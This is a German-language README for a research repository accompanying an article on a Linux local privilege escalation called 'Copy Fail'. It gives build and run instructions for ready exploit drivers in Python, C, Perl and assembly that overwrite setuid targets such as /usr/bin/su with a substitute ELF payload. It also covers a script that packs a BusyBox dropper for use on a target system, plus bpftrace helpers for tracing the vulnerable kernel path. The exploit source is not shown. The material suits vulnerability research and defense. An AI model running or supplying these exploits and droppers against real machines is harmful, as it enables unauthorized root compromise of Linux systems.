
Forschungsartefakte, PoC-Skripte und Labor-Assets für den Linux-Local-Privilege-Escalation-Artikel "Copy Fail" auf https://4xura.com/binex/kernel/copy-fail
Artefakte und Skripte für den CopyFail-Artikel.
Der detaillierte Walkthrough:
proof-of-concept/ enthält die nur auf Primitiven basierenden Demos, die im Artikel verwendet werden.exploit-scripts/ enthält die vollständigen Exploit-Implementierungen in Python, C, Perl und x86_64-Assembler.bpftrace-scripts/ enthält die kleinen Tracing-Helfer, die während der Laufzeitanalyse verwendet werden.Nur die Perl-, Assembler- und BusyBox-Artefakte erwarten ein externes Ersatz-ELF. In den folgenden Beispielen heißt diese Datei payload.pwnkit.elf, aber jeder beliebige Dateiname ist in Ordnung.
Dieses Payload wird nicht innerhalb dieses Repositories erstellt. Bauen Sie es zuerst, indem Sie dem Payload-Workflow aus dem Artikel folgen, und platzieren Sie dann das resultierende ELF im selben Arbeitsverzeichnis wie das Artefakt, das Sie ausführen möchten.
Die primitiven PoCs und die Python/C-Exploit-Treiber sind direkt ausführbar.
Diese PoCs dienen hauptsächlich der Demonstration im Artikel. Sie zeigen das Überschreib-Primitiv isoliert, nicht den vollständigen Austausch-Ausführungs-Workflow.
Um die Python-Demo auszuführen, wechseln Sie in das PoC-Verzeichnis und führen Sie das Skript aus:
cd proof-of-concept
python3 copyfail_poc.py
Um die C-Demo auszuführen, bauen Sie sie zuerst und führen Sie dann die resultierende Binärdatei aus:
cd proof-of-concept
gcc -Wall -Wextra -O2 -o copyfail_poc copyfail_poc.c
./copyfail_poc
Der Python-Exploit ist in sich geschlossen und enthält die Ersatzbytes direkt im Skript.
Wechseln Sie in das Exploit-Verzeichnis und führen Sie den Standardzielpfad aus:
cd exploit-scripts
python3 exploit.py
Wenn Sie einen anderen Ziel-Basename möchten, übergeben Sie ihn als erstes Argument. Um die Protokollierung pro Block zu aktivieren, setzen Sie DEBUG=1:
python3 exploit.py su
DEBUG=1 python3 exploit.py su
Der C-Exploit ist ebenfalls in sich geschlossen. Wenn Sie einen anderen Ersatz bereitstellen möchten, bearbeiten Sie zuerst PAYLOAD_BYTES in exploit-scripts/exploit.c.
Bauen Sie die statische (optionale) Binärdatei wie folgt:
cd exploit-scripts
gcc -static -Wall -Wextra -O2 -o exploit exploit.c -lz
Führen Sie dann das Standardziel aus oder übergeben Sie einen anderen Basename. Die Debug-Protokollierung wird über DEBUG=1 gesteuert:
./exploit
./exploit su
DEBUG=1 ./exploit su
Diese Version liest ein externes ELF-Payload anstatt Ersatzbytes in das Skript einzubetten.
Führen Sie es aus dem Exploit-Verzeichnis aus. Ohne zusätzliche Argumente verwendet es das Standardziel und den Standard-Payload-Pfad:
cd exploit-scripts
perl exploit.pl
Wenn Sie sowohl den Opfer-Pfad als auch das Payload-ELF explizit angeben möchten, übergeben Sie sie als Argumente. Die Debug-Protokollierung wird ebenfalls über DEBUG=1 gesteuert:
perl exploit.pl /usr/bin/su ./payload.pwnkit.elf
DEBUG=1 perl exploit.pl /usr/bin/su ./payload.pwnkit.elf
Diese Version verwendet ebenfalls ein externes ELF-Payload. Im folgenden Beispiel heißt es payload.pwnkit.elf, aber Sie können jeden Dateinamen verwenden. Wenn Sie es umbenennen, aktualisieren Sie die incbin-Zeile in exploit-scripts/exploit.asm entsprechend.
Bauen Sie den Assembler-Treiber mit nasm und ld:
cd exploit-scripts
nasm -f elf64 exploit.asm -o exploit.o
ld -o exploit_asm exploit.o
Führen Sie dann das Standardziel aus oder übergeben Sie einen vollständigen Zielpfad:
./exploit_asm
./exploit_asm /usr/bin/su
Dieser packt den Assembler-Treiber und ein externes Payload-ELF in einen BusyBox-kompatiblen Runner. Das folgende Beispiel verwendet payload.pwnkit.elf, aber jeder Payload-Dateiname ist in Ordnung, solange Sie denselben Pfad an den Packer übergeben.
Generieren Sie den Dropper aus dem Exploit-Verzeichnis:
cd exploit-scripts
sh mk_busybox_dropper.sh ./exploit_asm ./payload.pwnkit.elf > copyfail-busybox.sh
chmod +x copyfail-busybox.sh
Führen Sie auf dem Zielsystem das generierte Skript mit BusyBox sh aus:
busybox sh ./copyfail-busybox.sh /usr/bin/su
Überprüfen Sie vor dem Ausführen der Tracing-Helfer, ob die relevanten Symbole verfügbar sind:
sudo cat /proc/kallsyms | grep -E 'filemap_splice_read|splice_folio_into_pipe|af_alg_sendmsg|extract_iter_to_sg|crypto_authenc_esn_decrypt|scatterwalk_map_and_copy'
Um zu beobachten, wie Dateiseiten in den Splice-Pfad eintreten, führen Sie aus:
sudo bpftrace ./bpftrace-scripts/bpftrace-filemap-splice.bt
Um zu beobachten, wie Pipe-unterstützte Daten AF_ALG erreichen, führen Sie aus:
sudo bpftrace ./bpftrace-scripts/bpftrace-af-alg-sendmsg.bt
Um den anfälligen authencesn-Entschlüsselungs-Callback zu beobachten, führen Sie aus:
sudo bpftrace ./bpftrace-scripts/bpftrace-authencesn-decrypt.bt